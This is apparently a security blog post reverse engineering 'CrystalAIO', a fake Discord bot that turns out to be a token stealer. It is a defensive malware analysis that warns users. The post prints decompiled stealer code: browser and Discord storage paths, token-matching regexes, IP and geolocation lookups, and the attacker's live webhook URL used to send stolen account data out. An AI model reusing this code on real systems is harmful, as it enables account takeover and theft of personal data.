Reverse Engineering Malicious Bots
8 min read

Reverse Engineering Malicious Bots

An interesting tweet by @m_chael showed that people are now sending mass Discord DM spam to entice people to download their bot. It should be common knowledge to never accept candy from strangers and that what sounds too good to be true probably is. With that being said, common sense isn't very common and this method of attack can be very lucrative for the attackers. In this blog post we will join the CrystalAIO discord and see exactly how these applications function.

NOTE: Never open these applications on your personal devices. All research was conducted inside a virtual machine.

CrystalAIO Discord. Announcement page showing "update logs"

Upon joining the Discord my initial thoughts are that it is fairly organized, messages seem to have a lot of support, and seem to operate like a normal bot Discord server would. A file attachment to the bot CrystalAIO_Setup.exe is provided in the download channel for all members to download.

Time to Dig In

After running the installer it's time to take a peek into the directory and see if we can gather any other information on this application.

CrystalAIO directory

With a quick glance we can find some interesting things. For one, they left all debugging symbols bundled with the application. Secondly, the presence of WinForms.dll files tell me that this is a .NET application. This means that with a tool like ILSpy we're able to decompile this application and take a deeper view at what's happening.

CrystalAIO loaded into ILSpy showing two classes Form1 and Form2

In this application there are only two classes. This in itself is pretty suspicious but it's possible that this application is only used to bootstrap the application and doesn't contain the core logic itself. Lucky for us, the application isn't obfuscated so we can see exactly what's happening.

With a quick scan of the Form2 class we find a function named frmLogin_Load. Assuming this handles bot authentication, let's see if it does that.

private void frmLogin_Load(object sender, EventArgs e)
    {
        Process.Start("crystal_proxy.exe");
        tbxKey.Location = new Point(checked(base.ClientSize.Width - tbxKey.Width) / 2, checked(unchecked(checked(base.ClientSize.Height - tbxKey.Height) / 2) + 35));
        btnLogin.Location = new Point(checked(base.ClientSize.Width - btnLogin.Width) / 2, checked(unchecked(checked(base.ClientSize.Height - btnLogin.Height) / 2) + 100));
        pbxLogo.Location = new Point(checked(base.ClientSize.Width - pbxLogo.Width) / 2, checked(unchecked(checked(base.ClientSize.Height - pbxLogo.Height) / 2) - 120));
        checked
        {
            btnShow.Location = new Point(unchecked(checked(base.ClientSize.Width - btnShow.Width) / 2) + 220, unchecked(checked(base.ClientSize.Height - btnShow.Height) / 2) + 35);
            savedPassword = MySettingsProperty.Settings.loginPassword;
            tbxKey.Text = savedPassword;
            tbxKey.UseSystemPasswordChar = true;
        }
    }

The first instruction of this function is a call to start an application named crystal_proxy.exe. This is even more suspicious, but maybe this proxy handles the core logic? Let's take a look into crystal_proxy.

Running strings over the application we're presented with some useful text:

Cannot open PyInstaller archive from executable (%s) or external archive (%s)
...
4python38.dll

From these strings we can gather that this application was packaged with PyInstaller and that it uses Python 3.8. This makes our life easier, we don't have to use a tool like Ghidra. Instead, we can use a tool from GitHub named pyinstxtractor by extremecoders-re to extract the pyc files from this binary.

C:\Users\L\Downloads\pyinstxtractor-master>python pyinstxtractor.py C:\Users\L\Downloads\crystal_proxy.exe
[+] Processing C:\Users\L\Downloads\crystal_proxy.exe
[+] Pyinstaller version: 2.1+
[+] Python version: 308
[+] Length of package: 10452549 bytes
[+] Found 59 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: pyi_rth_pkgutil.pyc
[+] Possible entry point: pyi_rth_multiprocessing.pyc
[+] Possible entry point: pyi_rth_inspect.pyc
[+] Possible entry point: pyi_rth_subprocess.pyc
[+] Possible entry point: obj.pyc
[+] Found 483 files in PYZ archive
[+] Successfully extracted pyinstaller archive: C:\Users\L\Downloads\crystal_proxy.exe

The extraction was successful, the tool even tells us the possible entry points for the application. We can't quite open these pyc files in our text editor and get readable python as it's in bytecode form. The tool I used to try and deobfuscate this file is uncompyle6.

Running the decompiler over the file we're given an error:

# Deparsing stopped due to parse error

but the output file is still created!

# uncompyle6 version 3.8.0
# Python bytecode 3.8.0 (3413)
# Decompiled from: Python 3.8.0 (tags/v3.8.0:fa919fd, Oct 14 2019, 19:37:50) [MSC v.1916 64 bit (AMD64)]
# Embedded file name: obj.py
Instruction context:
-> 
 L.  36        42  POP_EXCEPT       
                  44  JUMP_FORWARD         48  'to 48'
                  46  END_FINALLY      
Instruction context:
-> 
 L.  68        54  POP_EXCEPT       
                  56  JUMP_FORWARD         60  'to 60'
                  58  END_FINALLY      
Instruction context:
   
 L. 110       486  LOAD_FAST                'OOO00OO00OOO00000'
                 488  LOAD_METHOD              append
                 490  LOAD_FAST                'OOOOO0OO0O00O0O00'
                 492  CALL_METHOD_1         1  ''
                 494  POP_TOP          
                 496  JUMP_BACK            88  'to 88'
->               498  JUMP_BACK            56  'to 56'
import json
from json import loads, dumps
from datetime import datetime
import requests, socket, os
from re import findall
import requests, subprocess
from base64 import b64decode
from dhooks import Webhook, File
from urllib.request import Request, urlopen
...

This isn't quite Python. Since the decompilation failed we're presented with a mix of Python and bytecode. This is fine, it doesn't take much knowledge of Python's bytecode to see that this file is malicious.

Less than 50 lines in we can see that the "bot" is grabbing the user's IP using ip-api as well as building the path to find the user's Discord token.

url = 'https://discord.com/api/webhooks/933857754131615764/BiN-Y4TicsqU0QDtRbFKcFf6oAptOA_7hvsOEaFiJfa2Tpy65gfqrR4RIWsUVG9Jrw8w'
host = socket.gethostname()
localip = socket.gethostbyname(host)
vpn = requests.get('http://ip-api.com/json?fields=proxy')
proxy = vpn.json()['proxy']
roaming = os.getenv('AppData')
output = open(roaming + 'temp.txt', 'a')
languages = {'en-US': 'English, United States'}
LOCAL = os.getenv('LOCALAPPDATA')
ROAMING = os.getenv('APPDATA')
PATHS = {'Discord':ROAMING + '\\Discord',  'Discord Canary':ROAMING + '\\discordcanary',  'Discord PTB':ROAMING + '\\discordptb',  'Google Chrome':LOCAL + '\\Google\\Chrome\\User Data\\Default',  'Opera':ROAMING + '\\Opera Software\\Opera Stable',  'Brave':LOCAL + '\\BraveSoftware\\Brave-Browser\\User Data\\Default',  'Yandex':LOCAL + '\\Yandex\\YandexBrowser\\User Data\\Default'}

One source for the user's IP address isn't enough so they use two! They also send themselves a nice convenient link to the user's geolocation using Google Maps.

def getip():
    O0000OOO0O0OOOO00 = OO000OO000O0OO0O0 = O00O0OO00OOO00OOO = OO000OO0OO00000OO = OOOOOO0O00OO00000 = O0OO0OO00O00O0O00 = O0O000O0OO0OO0OOO = 'None'
    try:
        OO0O0O0O00OO00OOO = 'http://ipinfo.io/json'
        OO0O0OOO0O00O00OO = urlopen(OO0O0O0O00OO00OOO)
        OO000OOOOOOO00000 = json.load(OO0O0OOO0O00O00OO)
        O0000OOO0O0OOOO00 = OO000OOOOOOO00000['ip']
        OO000OO000O0OO0O0 = OO000OOOOOOO00000['org']
        O00O0OO00OOO00OOO = OO000OOOOOOO00000['loc']
        OO000OO0OO00000OO = OO000OOOOOOO00000['city']
        OOOOOO0O00OO00000 = OO000OOOOOOO00000['country']
        O0OO0OO00O00O0O00 = OO000OOOOOOO00000['region']
        O0O000O0OO0OO0OOO = 'https://www.google.com/maps/search/google+map++' + O00O0OO00OOO00OOO
    except:
        pass
    else:
        return (
         O0000OOO0O0OOOO00, OO000OO000O0OO0O0, O00O0OO00OOO00OOO, OO000OO0OO00000OO, OOOOOO0O00OO00000, O0OO0OO00O00O0O00, O0O000O0OO0OO0OOO)

To grab the victim's Discord tokens they use a regex over the browser's LevelDB files to check if a token is present. If it is, they append it to a list.

def gettokens(OOOOOO00O00OOOO0O):
    OOOOOO00O00OOOO0O += '\\Local Storage\\leveldb'
    O0O0OO00OO00O0000 = []
    for O0000O00O0O0OO0OO in os.listdir(OOOOOO00O00OOOO0O):
        if not (O0000O00O0O0OO0OO.endswith('.log') or O0000O00O0O0OO0OO.endswith('.ldb')):
            pass
        else:
            for O0OO0O000000O00OO in [O0O0OOO0O0OO000OO.strip() for O0O0OOO0O0OO000OO in open(f"{OOOOOO00O00OOOO0O}\\{O0000O00O0O0OO0OO}", errors='ignore').readlines() if O0O0OOO0O0OO000OO.strip()]:
                for OO00OOO0OO00OO000 in ('[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{27}', 'mfa\\.[\\w-]{84}'):
                    for O00O0OO0O0OO0O00O in findall(OO00OOO0OO00OO000, O0OO0O000000O00OO):
                        O0O0OO00OO00O0000.append(O00O0OO0O0OO0O00O)

                else:
                    return O0O0OO00OO00O0000

Once presented with the token, the attacker can make a request to Discord's api/v6/users/@me endpoint to provide themselves with additional user information.

def getuserdata--- This code section failed: ---

 L.  33         0  SETUP_FINALLY        36  'to 36'

 L.  34         2  LOAD_GLOBAL              loads
                4  LOAD_GLOBAL              urlopen
                6  LOAD_GLOBAL              Request
                8  LOAD_STR                 'https://discordapp.com/api/v6/users/@me'
               10  LOAD_GLOBAL              getheaders
               12  LOAD_FAST                'O0O0OOO00OO00O0OO'
               14  CALL_FUNCTION_1       1  ''
               16  LOAD_CONST               ('headers',)
               18  CALL_FUNCTION_KW_2     2  '2 total positional and keyword args'
               20  CALL_FUNCTION_1       1  ''
               22  LOAD_METHOD              read
               24  CALL_METHOD_0         0  ''
               26  LOAD_METHOD              decode
               28  CALL_METHOD_0         0  ''
               30  CALL_FUNCTION_1       1  ''
               32  POP_BLOCK        
               34  RETURN_VALUE     
             36_0  COME_FROM_FINALLY     0  '0'

 L.  35        36  POP_TOP          
               38  POP_TOP          
               40  POP_TOP          

 L.  36        42  POP_EXCEPT       
               44  JUMP_FORWARD         48  'to 48'
               46  END_FINALLY      
             48_0  COME_FROM            44  '44'
L. 108       350  LOAD_GLOBAL              bool
              352  LOAD_GLOBAL              has_payment_methods
              354  LOAD_FAST                'OOOO00O000O000OO0'
              356  CALL_FUNCTION_1       1  ''
              358  CALL_FUNCTION_1       1  ''
              360  STORE_FAST               'O00OOO00OOOO0O0O0'

 L. 109       362  LOAD_CONST               10302677
              364  LOAD_STR                 '```� GENERAL INFO �```'
              366  LOAD_STR                 'Email: '
              368  LOAD_FAST                'OO00OOO0O0O0O0O00'
              370  FORMAT_VALUE          0  ''
              372  LOAD_STR                 '\nPhone Number: '
              374  LOAD_FAST                'O0O0O000O0O000OO0'
              376  FORMAT_VALUE          0  ''
              378  LOAD_STR                 '\nNitro: '
              380  LOAD_FAST                'O00OO000OO00O0O0O'
              382  FORMAT_VALUE          0  ''
              384  LOAD_STR                 '\nBilling: '
              386  LOAD_FAST                'O00OOO00OOOO0O0O0'
              388  FORMAT_VALUE          0  ''
              390  LOAD_STR                 '\n2FA/MFA: '
              392  LOAD_FAST                'O00OO00OO0OOO0O0O'
              394  FORMAT_VALUE          0  ''
              396  BUILD_STRING_10      10 
              398  LOAD_CONST               True
              400  LOAD_CONST               ('name', 'value', 'inline')
              402  BUILD_CONST_KEY_MAP_3     3 
              404  LOAD_STR                 '```� MORE INFO �```'
              406  LOAD_STR                 'IP: '
              408  LOAD_FAST                'O00O0O000OO000O00'
              410  FORMAT_VALUE          0  ''
              412  LOAD_STR                 '\nPlatform: '
              414  LOAD_FAST                'O0O00OO00O00000OO'
              416  FORMAT_VALUE          0  ''
              418  LOAD_STR                 '\nEmail: '
              420  LOAD_FAST                'OOOOOO0OO0O0OOOO0'
              422  FORMAT_VALUE          0  ''
              424  LOAD_STR                 '\nCreated: '
              426  LOAD_FAST                'O0OOO00000O0OOOO0'
              428  FORMAT_VALUE          0  ''
              430  LOAD_STR                 '\nVPN: '
              432  LOAD_GLOBAL              proxy

This includes phone number, whether the account has Discord Nitro, 2fa, email, etc...

Once all the information is gathered, it is sent to the attackers via Discord Webhooks.

{
  "content": ".",
  "embeds": [
    {
      "color": 10302677,
      "fields": [
        {
          "name": "— GENERAL INFO —",
          "value": "Email: [REDACTED]\nPhone Number: None\nNitro: False\nBilling: False\n2FA/MFA: False",
          "inline": true
        },
        {
          "name": "— MORE INFO —",
          "value": "IP: [REDACTED]\nPlatform: Firefox\nEmail: True\nCreated: 11-02-2019 12:34:11 UTC\nVPN: True",
          "inline": true
        },
        {
          "name": "**TOKEN**",
          "value": "[REDACTED]"
        }
      ],
      "author": {
        "name": "[REDACTED]#1234 ([Discord Account Snowflake])"
      },
      "footer": {
        "text": "George Development"
      }
    }
  ],
  "username": "George's Sperm Bank",
  "avatar_url": "https://i.imgur.com/pHQ27Av.png"
}

Rendering out the webhook we can see what it'd look like in their hidden channel:

How the webhook would look for the attackers

With your Discord token an attacker can gain full access to your account. This is likely how they're able to receive many positive reactions on their fake announcements and how they're able to obtain 15 boosts on the server. It is likely that they use these accounts to send more mass DM spam to members in servers that the victim is already inside.

One interesting thing to note is that the application's description is EasyNFTs. It is likely that this is the same malicious application renamed.

EasyNFTs string inside the CrystalAIO description

Does The Bot Actually Work?

We're inside a virtual machine so fuck it, let's run it.

Login screen for the CrystalAIO application.

We're given a login screen upon opening the bot. Note that at by this point, the Discord account stealing has already begun. Trying the password password123 doesn't seem to work either so there must be some sort of authentication. Back to ILSpy.

Key validation for the application simply checks if the length of the key is 30 characters

Oh nice, if the key length is 30, show the other form, otherwise, the key is invalid. Let's try a random 30 character string as the key.

Ugly CrystalAIO Dashboard

We're In!

In short, the bot doesn't work. The application is poorly designed and doesn't even make sense from a UI standpoint.

Empty Profiles Tab on CrystalAIO

A quick look at the Form1 class confirms us that the bot does nothing

Empty function bodies showing that the bot functionality doesn't exist

TL;DR

Don't click random links from strangers. If it sounds too good to be true it probably is.